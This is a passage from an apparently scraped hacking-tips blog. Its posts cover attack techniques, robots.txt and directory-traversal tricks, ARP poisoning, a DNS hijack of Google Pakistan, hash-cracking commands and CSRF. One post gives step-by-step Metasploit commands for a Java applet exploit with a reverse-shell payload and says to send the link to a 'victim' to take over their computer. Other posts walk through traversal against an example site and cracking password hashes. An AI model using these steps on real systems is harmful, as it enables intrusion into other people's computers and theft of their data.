break into the system. Anyhow, lets take a closer look on hacking techniques, such as encryption, sql injection, sniffers, and many more.<br /><br />Encryption: files can be encrypted in a storage. Communication channels can be encrypted as well, communication channel encryption encrypts the entire communication path, so all traffics sent and received are encrypted, e.g. SSL technology encrypts the entire communication path. There are many ways hackers get away of encrypted traffic & get info in not encrypted form. If you are using your own encryption method, you always should test your encryption for crackability before you use it officially.<br /><br />Sniffers: sniffers is a common tool used by hackers. Sniffers listens on any traffic that goes through the wire of the target system, listens ins and outs traffics. Promiscuous mode is a mode that is listening for any traffic that goes through the wire. Standard promiscuous mode sniffer is a basic technique. There are more advanced techniques other than promiscuous mode. Sniffing enables the attacker to pick up a plain text, and other sensitive data that goes 'from' or 'to' the target. Sniffers record captured traffic, then after you sniff you can go offline & start analyzing that captured traffic. Popular sniffers are ethereal, etherape, ettercap, and network monitor(for Win OS only - not so effective).<br /><br />Wireless Hacking: this is a new technology & starts taking place nowadays. Easy to setup, but not frequently secured since not many people understand the security configuration, so they decide not to set it up or set it up poorly. There are various tools that detect wireless networks, popular war driving software are Netstumbler, Airsnort, Airopeek, Kismet, and many more. What is war driving? Google it!<br /><br />SQL Injection: sql injection is a technique that allows an attacker to steal a valuable database information. This attack relies on poor data validation and poor error checking.<br /><br />Buffer Overflows: buffer overflow is common, the cause of buffer overflow is poor coding. Buffer overflows might be noticed while coding. Buffer overflow happens when the programmer does not clearly define boundaries on buffers or variables. We use out of bound data to insert malicious code or execute command on the remote host. Buffer Overflows can cause programs to freeze or lockup, can cause machine to crash, or let you use exploits & leads you to compromise the system. To build buffer overflows, you need a good programming skills, good knowledge of stack and buffer vulnerabilities.<br /><br />You need to have the ability to research, analyze vulnerabilities & apply the exploit to achieve what you want. Buffer overflow is a very common & hard to produce an application with no buffer overflows at all. There is nothing programmers can do about it, they just need to write the code with security mind of set. If unexpected buffer overflow appears later by chance, programmers will have to fix it. Programmers should test their code from vulnerabilities as much as they can before they publish the application.<br /><br />Rootkits: it is a common hacker technique. Rootkit is malicious program that replaces components of OS. It does a stealth job. Rootkit requires root permission, so you can install it. Linux rootkits are common & you can find them everywhere, unlike Windows. It is very hard to detect a rootkit because it embeds itself so deeply into the target system. Removing rootkit from a system is very hard too, if the security person tries to remove the rootkit out of the system, he will destroy the system since the rootkit is embedded so deeply into the system(into components of OS). The good solution is to format the whole system & install it again.<br /><br />Spoofing: the word spoofing defined as making yourself appear as somebody else. Examples of spoofing, you can spoof an IP address and make yourself appear to be somewhere else, MAC addresses, and emails(very simple to spoof, you send an email to somebody by changing the headers, and things like that). Spoof usually relies on poor implementation of TCP/IP itself or poor implementation of applications. Tools that are used for spoofing differs from one platform to another. Example of the tools, IP spoofing utilities, MAC address modifiers, etc. Spoofing is more into using your skills rather than using a tool.<br /><br />Denial of Service (DoS): DoS is very common. The ultimate idea is to prevent legitimate users from using the system. Running DoS is very simple, you don't gain anything from doing DoS. Hackers do it to threat companies, things like that. Many methods/level of DoS attacks exist. Examples of some ways of to DoS, ping of death, Windows size overflow, smurf, teardrop attacks, and many more. There are lots of different ways to do it!<br /><br />Web Hacking: web hacking is the most popular attacks. It is based on hacking individual sites, servers, or components based on the website. First step a hacker takes is, enumerate services(applications) on target machine, and then determine what webserver software(apache, IIS, etc) is running on the target system. After that, the hacker exploits against vulns. found in the target system. It will be easier to hack if the hacker knows the version of the service/software running.<br /><br />A webserver attack leads to deeper penetration on the network(move into the target's internal network). Popular attack methods are xxs(cross-site scripting), IIS DLL vulnerabilities(IIS is very commonly exploited), directory traversal, unicode attack, and many more.<br /><br />What is Unicode attack?<br /><br />here is quick rough description about Unicode attack, lets say you want to pass space into a URL. If you put a space in URL, webserver will not take your URL, webserver will consider the url is invalid. Thus, if you want to put spaces among the URL, you should put the number 20 in a place of the space(number 20 represents the space), so when the URL goes to the webserver, the webserver says Ok! thats a valid URL, lets process it and so it does. Unicode attack uses this technique in a non-standard(bad way) way to attack the webserver. Thats a quick explaination about unicode attack.<br /><br />I'm already about to finish this tutorial, i will just talk about popular tools in a brief manner. I will start with nmap.<br /><br />Nmap is the most popular hacker tool out there. Linux command line nmap works better and is supported better. Nmap comes with ping utility, port scanning utility, service enumeration & OS fingerprinting.<br /><br />SuperScan is a windows based tool developed by foundstone Inc. Its easy to use it & a good tool for Windows.<br /><br />Nessus is used for vulnerability assessment. It is an open source software kit, with commercial version available as well. Nessus uses client/server architecture. Server will be installed on a central location. Nessus comes in GUI & command line interface. Nessus uses database that carries latest current exploits for all types of OS & application. Databases in nessus are called plug-ins, hundreds of vulnerability plug-ins exist and are updated daily to include latest exploits. Nessus requires high level of knowledge to use the tool very efficiently. You can go out to the web and download an exploit and then add it to the database. Nessus can take quite long time to do vulnerability assessment.<br /><br />Finally, the information in this tutorial have been gathered from various types of sources, and then i wrote the tutorial in an organized manner from scratch as well as i added some stuff & clarified many parts.<br /><br />After you have read this tutorial, i recommend you to search and learn about Windows Null Sessions, it is the most critical flaws associated with Windows OS, and google about DNS zone transfers!<br /><br />This tutorial is a good guide for you that gives you an insight on how to start & different techniques that hackers use and how they are used. I hope you have enjoyed this tutorial & helped you in someway or another. I'm not supporting any illegal activities. This tutorial for people who wants to know how hackers think, what steps they take to break into systems & how they do it, so people can have an insight on how to protect themselves against intruders.</div>

How to Hack targeted website(Basic)?

Today is the age of computer and internet. More and more people are creating their own websites to market their products and earn more profi...

+ Read more »

How to exploit robots.txt?

<div dir="ltr" style="text-align: left;" trbidi="on"><h3 style="text-align: left;">What is robots.txt?</h3><br />Robots.txt is a file that contain path which cannot crawled by bot most of time search-engine bots like google bot or etc. It tells search-engine that this directory is private & can not be crawled by them.<br /><br />If yo are site owner & want to make robots.txt file , then go following link , it will create robots.txt file for you.<br /><br /><a href="http://www.mcanerin.com/EN/search-engine/robots-txt.asp">http://www.mcanerin.com/EN/search-engine/robots-txt.asp</a><br /><br />so just for now , robots.txt is pretty much what websites use to block certain pages from search engines.<br /><br />Here is a sample : <a href="http://www.whitehouse.gov/robots.txt">http://www.whitehouse.gov/robots.txt</a><br /><br /><h3 style="text-align: left;">First method</h3><br />Now this method is very rare & the web-master would have to be stupid to do this, but you'll be surprised how many stupid people there are in the world.<br /><br />This one is simple, go to one of the disallowed directories & look in the source. Sometimes web-master leave comments there to give hints like passwords/ or user-names.<br /><br />You never know you might find something juicy. :]<br /><br />With this info you could possibly guess his password by entering some of the most infamous/best football teams.<br /><br />You can also check for disallowed directory which may be allowed or weak permission.<a href="http://pentesterscript.wordpress.com/2013/12/09/python-script-for-auditing-robots-txt/" target="_blank">Click here for python script to audit robots.txt file automatically.</a><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitGV_nawx2ToFfsFLjuv04tATeOG8Q6wOWOiwzP85Z5OtrdTqR0-gby5IUTDLK9YLGTxuuh4rA-pt5xTaucXm08a3nvuaUZloBBS8gkf3NvZj_fJhMS0f-8j0ikw7vFjASAL3yAdIwd7jc/s1600/robots.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Exploit-robots.txt" border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitGV_nawx2ToFfsFLjuv04tATeOG8Q6wOWOiwzP85Z5OtrdTqR0-gby5IUTDLK9YLGTxuuh4rA-pt5xTaucXm08a3nvuaUZloBBS8gkf3NvZj_fJhMS0f-8j0ikw7vFjASAL3yAdIwd7jc/s320/robots.PNG" title="Exploit-robots.txt" width="320" /></a></div><br /><h3 style="text-align: left;">Second method</h3><br />Directory Traversal<br /><br />Ok, you use directory traversal when you get denied from a web-page. For example if you go to a disallowed directory & you get denied [404 page]<br /><br />You can easily bypass that if there insecure with directory traversal. Also, getting denied from a page shows that there must be some sexy info inside of it. :]<br /><br />So lets get started.<br /><br />1. Go to the directory you got denied from. I will be using an example.<br /><br />www.slave.com/users/<br /><br />2. Once you get denied you need to add a not found directory.<br /><br />www.slave.com/users/randomwords&numbers<br /><br />3. Now for the directory traversal part you need to add a /../<br /><br />This will bring it back one directory, which can get you access to the disallowed directory.<br /><br />www.slave.com/users/randomwords&numbers/../<br /><br />Keep it mind that you can also use the first method if you get access to the directory.<br /><br /><a href="http://tipstrickshack.blogspot.com/search/label/path%20traversal" target="_blank">Click here for more path traversal details tutorials. </a><br /><br /><h3 style="text-align: left;">Third method</h3><br />CGI-BIN exploits<br /><br />Alright, the /cgi-bin/ page has alot of public exploits out right now. So, this method only goes for if the site has /cgi-bin/<br /><br />So, anyways. I dont want my tutorial to be to big so here is a list of CGI-BIN exploits.<br /><br /><a href="https://www.hellboundhackers.org/articles/7-complete-set-of-cgi-bin-exploits-and-what-they-do.html">https://www.hellboundhackers.org/articles/7-complete-set-of-cgi-bin-exploits-and-what-they-do.html</a></div>

How to exploit robots.txt?

What is robots.txt? Robots.txt is a file that contain path which cannot crawled by bot most of time search-engine bots like google bot or et...

+ Read more »

How to POISONING ARP on network?

<div dir="ltr" style="text-align: left;" trbidi="on">How to do Address Resolution Protocol (ARP) poisoning?<br /><br /><h3>What Does ARP Mean?</h3><br />Address Resolution Protocol (ARP) is a stateless protocol, was designed to map Internet Protocol addresses (IP) to their associated Media Access Control (MAC) addresses. This being said, by mapping a 32 bit IP address to an associated 48 bit MAC address via attached Ethernet devices, a communication<br /><br />between local nodes can be made.<br /><br />On a majority of operating systems, such as Linux, FreeBSD, and other UNIX based operating systems, and even including Windows, the "arp" program is present. This program can be used to display and/or modify ARP cache entries.<br /><br />An example of the "arp" utility's output would look like the following:<br /><br />Windows:<br /><br />> arp -a<br /><br />Interface: 192.168.1.100 .- 0x10003<br /><br />Internet Address Physical Address Type<br /><br />192.168.1.1 00-13-10-23-9a-53 dynamic<br /><br />Linux:<br /><br />$ arp -na<br /><br />? (192.168.1.1) at 00:90:B1C:F8:C0 [ether] on eth0<br /><br />FreeBSD:<br /><br />$ arp -na<br /><br />? (192.168.1.1) at 00:00:0c:3e:4d:49 on bge0<br /><br /><h3>How ARP works?</h3><br />Specifically for Internet Protocol Version 4 (IPv4), ARP maps IP addresses between the Network layer and Data Link layer of the Open System Interconnection (OSI) model.<br /><br />For a more complete and thorough explanation of how address resolution works, and protocol specifics, please consult RFC 826.<br /><br />ARP Protocol Flaws :-<br /><br />ARP's main flaw is in its cache. Knowing that it is possible for ARP to update existing entries as well as add to the cache, this leads one to believe that forged replies can be made, which result in ARP cache poisoning attacks.<br /><br /><h3>Terms & Definitions :-</h3><br />ARP Cache Poisoning : Broadcasting forged ARP replies on a local network. In a sense, "fooling" nodes on the network. This can be done because ARP lacks authentication features, thus blindly accepting any request and reply that is received or sent.<br /><br />MAC Address Flooding : An ARP cache poisoning attack that is mainly used in switched environments. By flooding a switch with fake MAC addresses, a switch is overloaded. Because of this, it broadcasts all network traffic to every connected node. This outcome is referred to as "broadcast mode" because, all traffic passing through the switch is broadcasted out like a Hub would do. This then can result in sniffing all network traffic.<br /><br /><h3>The ARP Attacks :-</h3><br />1] Connection Hijacking & Interception : Packet or connection hijacking and interception is the act in which any connected client can be victimized into getting their connection manipulated in a way that it is possible to take complete control over.<br /><br />2] Connection Resetting : The name explains itself very well. When we are resetting a client's connection, we are cutting their connection to the system. This can be easily done using specially crafted code to do so. Luckily, we have wonderful software that was made to aid us in doing so.<br /><br />3] Man In The Middle : One of the more prominent ways of attacking another user in order to hijack their traffic, is by means of a Man In The Middle (MITM) attack. Unlike the other attacks, a MITM is more a packet manipulation attack which in the end however does result in packet redirection to the attacker . all traffic will get sent to the attacker doing the MITM attack. This attack however is specific. As opposed to MAC Address Flooding or other attacks against a router/switch, the MITM attack is against a victim, and also can be done outside of a switched environment. Thus meaning, an attack can be executed against a person on the other side of the country.<br /><br />4] Packet Sniffing : Sniffing on a Local Area Network (LAN) is quite easy if the network is segmented via a hub, rather than a switch. It is of course possible to sniff on a switched environment by performing a MAC flood attack. As a result of the MAC flood, the switch will act as a hub, and allow the entire network to be sniffed. This gives you a chance to use any sort of sniffing software available to you to use against the network, and gather packets.<br /><br />5] Denial of Service : MAC Address Flooding can be considered a Denial of service attack. The main idea of the MAC flood, is to generate enough packet data to send toward a switch, attempting to make it panic. This will cause the switch to drop into broadcast mode and broadcast all packet data. This however did not result in a crash, or the service to be dropped, but to be overloaded. <br /></div>

How to POISONING ARP on network?

How to do Address Resolution Protocol (ARP) poisoning? What Does ARP Mean? Address Resolution Protocol (ARP) is a stateless protocol, was de...

+ Read more »

How Google Pakistan Was Hacked?

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpGIC2BYc9tokbz9VZyBiUp3utWrTM8ApRRHJFvXT0RSVnoH5IK1RpLmuGA7q5X2JMjp83-LJ-pHMfTSMov67qTNdgCegsi-3KNbptMUqlhNCka3BjWUk_nVf6R1ZSaR4c71F51zZ0CZw/s1600/Google-Pakistan+(1).png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpGIC2BYc9tokbz9VZyBiUp3utWrTM8ApRRHJFvXT0RSVnoH5IK1RpLmuGA7q5X2JMjp83-LJ-pHMfTSMov67qTNdgCegsi-3KNbptMUqlhNCka3BjWUk_nVf6R1ZSaR4c71F51zZ0CZw/s640/Google-Pakistan+(1).png" width="640" /></a></div><div><br /></div>Today morning, when i accessed google.com.pk, I was surprised to see the defacement page of turkish hackers, Later on i came to know that other websites such as Microsoft.com.pk were also defaced this morning. On checking the name servers with nslookup, the DNS servers were pointing towards another website, It was clear that the hacker compromised the DNS server and changed the DNS servers to their own, where they had their defacement page. The above image appeared on major .pk domains, when users were trying to access them.<br /><div class="separator" style="clear: both; text-align: center;"></div><a name='more'></a>Some time later the page started pointing towards google.com instead of google.com.pk, However the name servers of all .pk domains are still pointing towards freehostia.<br /><div><br />           <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzsdKgXiXAhBlNJTN2Tl6Qe2kf7kskVXWoZn2_c5ySn7kW6Yc7aqY7Iee25BMWBATkByyONilWn3ctM2BgHzyzkSqm6O4StSY_qT4uDYyKqiOEDoTiVHcfO04FmRBEvbkLJN2Fjan7Z9k/s1600/nameservers.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzsdKgXiXAhBlNJTN2Tl6Qe2kf7kskVXWoZn2_c5ySn7kW6Yc7aqY7Iee25BMWBATkByyONilWn3ctM2BgHzyzkSqm6O4StSY_qT4uDYyKqiOEDoTiVHcfO04FmRBEvbkLJN2Fjan7Z9k/s1600/nameservers.png" /></a><br /><b><br />How was Google Pakistan Hacked?</b></div><div><br /></div><div>So as i mentioned earlier that it looks to me that the registrar that was responsible for Google's DNS records may have been compromised and the records were changed, so when users went to google.com.pk they were redirected to different website which was setup by Turkish hacker to make it look that google.com.pk has been actually compromised. </div><div><br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgysHg3M7epJJeEf-51o9dCBY0qLUPETxHXxcz3weNIXxrmcoxdVyClSXkK-BZxQvoVADBctP6nPHdbYfsQtZ9xctG_FDF96aY_ZSoGwJle61m09Wn_EjV_6G69J2IMmbeo7tyVgBAHrKU/s1600/whois.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgysHg3M7epJJeEf-51o9dCBY0qLUPETxHXxcz3weNIXxrmcoxdVyClSXkK-BZxQvoVADBctP6nPHdbYfsQtZ9xctG_FDF96aY_ZSoGwJle61m09Wn_EjV_6G69J2IMmbeo7tyVgBAHrKU/s1600/whois.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div>By a quick whois search i came to know that the registrar that is responsible to PKNIC domains is MarkMonitor, The is a huge chance that the turkish hackers may have gained access to MarkMonitor and then would have changed the DNS servers. Another possibility is that the hackers may have used an attack called "DNS Cache Poisoning" in order to change the DNS servers. I will update this page as soon as i have more updates regarding this attack.<br /><br /><b>Update: Here is the Full List Of Compromised Domains:</b><br /><br /><i><u>google.com.pk</u></i><br /><i><u>microsoft.pk</u></i><br /><i><u>biofreeze.com.pk</u></i><br /><i><u>blackstone.pk</u></i><br /><i><u>blogspot.pk</u></i><br /><i><u>itunes.pk</u></i><br /><i><u>gmails.pk</u></i><br /><i><u>zynga.com.pk</u></i><br /><i><u>chrome.com.pk</u></i><br /><i><u>chrome.pk</u></i><br /><i><u>visa.com.pk</u></i><br /><i><u>bx.com.pk</u></i><br /><i><u>abbvie.com.pk</u></i><br /><i><u>abbvie.pk</u></i><br /><i><u>cgma.pk</u></i><br /><i><u>chacos.com.pk</u></i><br /><i><u>cimacpa.pk</u></i><br /><i><u>cisco.pk</u></i><br /><i><u>ciscosystems.pk</u></i><br /><i><u>blogspot.com.pk</u></i><br /><i><u>cpacima.pk</u></i><br /><i><u>cpaintl.pk</u></i><br /><i><u>cpaldglobal.pk</u></i><br /><i><u>cpalwglobal.pk</u></i><br /><i><u>drivealliance.pk</u></i><br /><i><u>eastman.biz.pk</u></i><br /><i><u>eastman.net.pk</u></i><br /><i><u>eastman.org.pk</u></i><br /><i><u>ebay.pk</u></i><br /><i><u>monatin.pk</u></i><br /><i><u>everyblock.pk</u></i><br /><i><u>youtube.pk</u></i><br /><i><u>3com.web.pk</u></i><br /><i><u>hp.web.pk</u></i><br /><i><u>revlon.pk</u></i><br /><i><u>streetwear.pk</u></i><br /><i><u>windows7.pk</u></i><br /><i><u>windows8.pk</u></i><br /><i><u>windowsrt.pk</u></i><br /><i><u>yahoo.pk</u></i><br /><i><u>yahoomaktoob.pk</u></i><br /><i><u>zynga.pk</u></i><br /><i><u>firstdirect.com.pk</u></i><br /><i><u>flickr.pk</u></i><br /><i><u>fordgofurther.pk</u></i><br /><i><u>gbuzz.pk</u></i><br /><i><u>gmailbuzz.pk</u></i><br /><i><u>gmail.pk</u></i><br /><i><u>googlebrowser.com.pk</u></i><br /><i><u>google.pk</u></i><br /><i><u>googlebuzz.pk</u></i><br /><i><u>googlechrome.com.pk</u></i><br /><i><u>abbviepharmaceuticals.pk</u></i><br /><i><u>abbviepharmaceuticals.com.pk</u></i><br /><i><u>hewlettpackard.pk</u></i><br /><i><u>hexagon.com.pk</u></i><br /><i><u>hsbcamanah.biz.pk</u></i><br /><i><u>hotmail.com.pk</u></i><br /><i><u>hpcloud.com.pk</u></i><br /><i><u>hp.com.pk</u></i><br /><i><u>hpscalene.com.pk</u></i><br /><i><u>hsbc.biz.pk</u></i><br /><i><u>hsbcadvance.com.pk</u></i><br /><i><u>hsbc.pk</u></i><br /><i><u>hsbcpremier.com.pk</u></i><br /><i><u>hsbcprivatebank.biz.pk</u></i><br /><i><u>hsbcamanah.com.pk</u></i><br /><i><u>hsbcdirect.com.pk</u></i><br /><i><u>hsbcnet.com.pk</u></i><br /><i><u>hsbcpremier.biz.pk</u></i><br /><i><u>hsbcpremier.pk</u></i><br /><i><u>hsbcprivatebank.com.pk</u></i><br /><i><u>investdirect.biz.pk</u></i><br /><i><u>investdirect.com.pk</u></i><br /><i><u>ipod.pk</u></i><br /><i><u>jaiku.pk</u></i><br /><i><u>kellyservices.com.pk</u></i><br /><i><u>maktoob.pk</u></i><br /><i><u>markmonitor.pk</u></i><br /><i><u>microsoftsmartglass.com.pk</u></i><br /><i><u>microsoftsmartglass.pk</u></i><br /><i><u>xboxsmartglass.com.pk</u></i><br /><i><u>xboxsmartglass.pk</u></i><br /><i><u>msn.org.pk</u></i><br /><i><u>windowsstore.pk</u></i><br /><i><u>windowsstore.com.pk</u></i><br /><i><u>opteron.com.pk</u></i><br /><i><u>parkplaza.pk</u></i><br /><i><u>paypal.pk</u></i><br /><i><u>postini.pk</u></i><br /><i><u>scalene.com.pk</u></i><br /><i><u>schwab.biz.pk</u></i><br /><i><u>schwab.com.pk</u></i><br /><i><u>sonystyle.com.pk</u></i><br /><i><u>streetwear.com.pk</u></i><br /><i><u>theworldslocalbank.com.pk</u></i><br /><i><u>genapp.pk</u></i><br /><i><u>genapp.com.pk</u></i><br /><i><u>generationapp.pk</u></i><br /><i><u>generationapp.com.pk</u></i><br /><i><u>windows.com.pk</u></i><br /><i><u>windows7.com.pk</u></i><br /><i><u>windows8.com.pk</u></i><br /><i><u>3com.biz.pk</u></i><br /><i><u>3com.fam.pk</u></i><br /><i><u>3com.net.pk</u></i><br /><i><u>3com.org.pk</u></i><br /><i><u>gchrome.com.pk</u></i><br /><i><u>aicpacima.pk</u></i><br /><i><u><br /></u></i></div></div><b>Update 2:<i> </i></b><i>Due to the Propogation of Google's name servers to Freehostia's nameservers, It made attackers to create any non-existing subdomain under compromised websites, For example rafaybaloch.google.com.pk. All the attacker would need to do is to register the non-existing subdomain under freehostia and add an index.</i><br /><br /><b>Update 3:</b> <i>It seems that Google.com.pk has been finally restored and the nameservers are again pointing to dns.google.com.pk.</i><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeiVJnPADaxfJzDFm90epcgflDZRYhARIVzYszv_gBzMVKJt4CyRAhjE4Ip1spdIKPUb7skbF8_Digd3EPbZyVI0afSaNBmA27YcrnazD-lF09WuB5n2UCAEq03-bgUwB01SdD-KZfzi8/s1600/R.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeiVJnPADaxfJzDFm90epcgflDZRYhARIVzYszv_gBzMVKJt4CyRAhjE4Ip1spdIKPUb7skbF8_Digd3EPbZyVI0afSaNBmA27YcrnazD-lF09WuB5n2UCAEq03-bgUwB01SdD-KZfzi8/s640/R.png" width="577" /></a></div>

How Google Pakistan Was Hacked?

Today morning, when i accessed google.com.pk, I was surprised to see the defacement page of turkish hackers, Later on i came to know that ot...

+ Read more »

How to use latest java vulnerability to hack remote p.c. ?

<div dir="ltr" style="text-align: left;" trbidi="on">Today we are going to use metasploit again. We can hack remote computer using java applet to run code outside send-box. This vulnerability is new. It` s applicable to java version 7 and earlier.<br /><br />(1)To use this vulnerability first update your metasploit modules by runnig command msfupdate in your terminal<br /><br />(2)Now after update type msfconsole<br /><br />(3)type use exploit/multi/browser/java_jre17_jaxws<br /><br />(4)set payload java/shell_reverse_tcp<br /><br />(5)set lhost 223.232.185.97(your I.p)<br /><br />(6)set srvhost 223.232.185.97(server I.p.)<br /><br />(7)set uripath /<br /><br />(8)exploit<br /><br />Now an URL you should give to your victim http://223.232.185.97:8080/<br /><br />Now send link to victim. When victim open your link, you have access of victim` s computer.<br /><br />(9)type sessions -l<br /><br />(10)the Session number to connect to the session. And Now Type sessions -i ID</div>

How to use latest java vulnerability to hack remote p.c. ?

Today we are going to use metasploit again. We can hack remote computer using java applet to run code outside send-box. This vulnerability i...

+ Read more »

How to crack any hash with help of online services?

<div dir="ltr" style="text-align: left;" trbidi="on">How to crack any hash with help of online services?<br /><br />findmyhash.py try to crack different types of hashes using free online services.<br /><br />(1)Download it from <a href="http://code.google.com/p/findmyhash/downloads/list" target="_blank">here</a> .<br /><br />(2)Open terminal & change directory where you download tool , if we download tool in download folder then type in following command in terminal<br /><br />cd Downloads<br /><br />(3)python findmyhash.py<br /><br /><br />Accepted algorithms are:<br /><br />MD4, MD5, SHA1, SHA256, RMD160, LM, NTLM, MYSQL, CISCO7 & JUNIPER<br /><br />NOTE: for LM / NTLM it is recommended to introduce both values with this format:<br /><br />python findmyhash.py LM -h 9a5760252b7455deaad3b435b51404ee:0d7f1f2bdeac6e574d6e18ca85fb58a7<br /><br />python findmyhash.py NTLM -h 9a5760252b7455deaad3b435b51404ee:0d7f1f2bdeac6e574d6e18ca85fb58a7<br /><br /><br />Valid OPTIONS are:<br /><br />-h <hash_value> If you only want to crack one hash, specify its value with this option.<br /><br />-f <file> If you have several hashes, you can specify a file with one hash per line.<br /><br />NOTE: All of them have to be the same type.<br /><br />-g If your hash cannot be cracked, search it in Google and show all the results.<br /><br />NOTE: This option ONLY works with -h (one hash input) option.<br /><br /><br />Examples:<br /><br />-> Try to crack only one hash.<br /><br />python findmyhash.py MD5 -h 098f6bcd4621d373cade4e832627b4f6<br /><br />-> If the hash cannot be cracked, it will be searched in Google.<br /><br />python findmyhash.py SHA1 -h A94A8FE5CCB19BA61C4C0873D391E987982FBBD3 -g<br /><br />-> Try to crack multiple hashes using a file (one hash per line).<br /><br />python findmyhash.py MYSQL -f mysqlhashesfile.txt</div>

How to crack any hash with help of online services?

How to crack any hash with help of online services? findmyhash.py try to crack different types of hashes using free online services. (1)Down...

+ Read more »

Website Hacking With CSRF Attack

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPYSsqBbwStLJyLZD037LRO5v2bNHZhiFG_4xgTepJmVPZ4JXOB9wtQdasifIH1e8HLO42bEAjN2-XYcKiS_A3QvHeLt_6vD1rlxl95NjbbUMDWZ2nYr-j4bs8JoA7GD7WvNMtVXBy0wU/s1600/3832924543_a4e2db504f_o.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPYSsqBbwStLJyLZD037LRO5v2bNHZhiFG_4xgTepJmVPZ4JXOB9wtQdasifIH1e8HLO42bEAjN2-XYcKiS_A3QvHeLt_6vD1rlxl95NjbbUMDWZ2nYr-j4bs8JoA7GD7WvNMtVXBy0wU/s640/3832924543_a4e2db504f_o.png" width="577" /></a></div><br />Cross Site Request Forgery Attack is also known as CSRF or XSRF in short. Do not confuse it with Cross Site Scripting attack because it is totally different from that. Like SQL injection and XSS, CSRF is also one in top 10 OWASP web vulnerabilities for many years.<br /><br /><a name='more'></a><br /><b><br /></b><b>What is Cross Site Request Forgery Attack?</b><br /><b><br /></b>Cross Site Request Forgery or CSRF is an attack method in which attacker exploit users' active session in the browser without the permission of innocent user. By using victim's browser session, attacker sends valid requests to a website that perform some action in users' account. User will not be able to know that the request has been sent from his browser. An Attacker uses some third party innocent websites to generate these valid requests from user’s browser.<br /><br /><b>EX:</b> If a form on a website can also be submitted from some other website, It is vulnerable to CSRF. Suppose there is a form on a vulnerable website<br /><br />(<b>http://www.vulnerablesite.com/vulnerable.php</b>)<br /><br /><form action=”action.php” method=”post”><br /></form><br />And I made a duplicate form on my local host<br /><form action=” http://www.vulnerablesite.com/action.php” method=”post”><br /></form><br /><br />I am able to submit the form by using the form on my localhost, the website is vulnerable to the CSRF attack This attack uses user's session to perform malicious task, so it is also known as <b>"Session Riding attack."</b>Sometimes it is hard to understand how this attack works in real life. So I am explaining it with the help of a example.<br /><br />Suppose if an online payment website like Paypal has <b>CSRF vulnerability</b>. Attacker A want to exploit CSRF vulnerability of this website and attack on victim B. For this he use some third party website. Innocent User B login into his account to do check the balance and then switch to a new tab without logging out from the older tab. Session is active on the browser.<br /><br />Attacker A had posted a link or image in a website that on load submits the payment transfer form to transfer money to the attacker's account by using active session. As the request came from user's browser by his session, CSRF vulnerable website will transfer the fund.<br /><br /><b>How CSRF is different from XSS</b><br /><b><br /></b>Many people have confusion inn between CSRF and XSS attack. In XSS, attacker exploit the trust of users on website. So we inject malicious script and user believes on it just because he see a valid website URL. Unlike XSS, in CSRF attacker exploits the website's trust on the browser. In this, a website thinks tha a request camre from the user's browser is made by user itself.<br /><br /><b>Both vulnerabilities are dangerous enough.</b><br /><b><br /></b><b>Protection against CSRF attack:</b><br /><b><br /></b>Many people thinks that limiting against XSS also limits CSRF. But this is not true. We have to make so many things to limit the attack.<br />There are many ways to protect the CSRF attack. Some important ways are given below:<br /><br /><ul style="text-align: left;"><li>Checking the HTTP Referrer header website. If it is a different domain, deny the request.</li><li>Limiting the lifetime of authentication cookies. If user is inactive for some fixed time, the session must be expired.</li><li>Limit the damage by authenticating each request made by user. </li><li>Use of random token for each session</li></ul><b>About Author: </b><br />Deepanker Verma<b> </b>is a security researcher and tech blogger. You can read his security blog at <a href="http://www.hackingtricks.in/" target="_blank">HackingTricks</a>.</div>

Website Hacking With CSRF Attack

Cross Site Request Forgery Attack is also known as CSRF or XSRF in short. Do not confuse it with Cross Site Scripting attack because it is t...

+ Read more »

how to crack md5 hash in ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on"><br />If you have an password in md5 hash and you need password in plain text for this there is lot of tool and online websites too but they wont crack all md5 hash if your hash exist in thier database they will give u plain text password but if not than u have to use some tool like here.<br /><br />We are using a perl script to crack an hash so we had encrypted an text "r2/." into a md5 hash which is "5d28a1f53e24a8b0a85d0a53348d49ad" so here we will try to decrypt it again with perl in a plain text.<br /><br />So first of all here we already know the length of text is 4 and it is included with specail characters like ". /" etc so our job will be easy but if we dont know the length and what kind of character included in hash then what? no problem we have some solution for that too ok lets began with first step if u are using linux here we are using back track for this first of all you need perl script so donalod and follow the steps to crack a hash i will try to explain each part of this script<br /><br />(1)Download perl script from <a href="http://www.4shared.com/file/qzT7EjeS/md5crack.html" target="_blank">here</a>.<br /><br />(2)Make it exexcutable.<br /><br />(3)open terminal & change directory where you download script.<br /><br />(4)now type following command in terminal<br /><br />perl md5crack.pl<br /><br />you can see information about script. <br /><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"> </span></span></div><div class="separator" style="clear: both; text-align: center;"><a 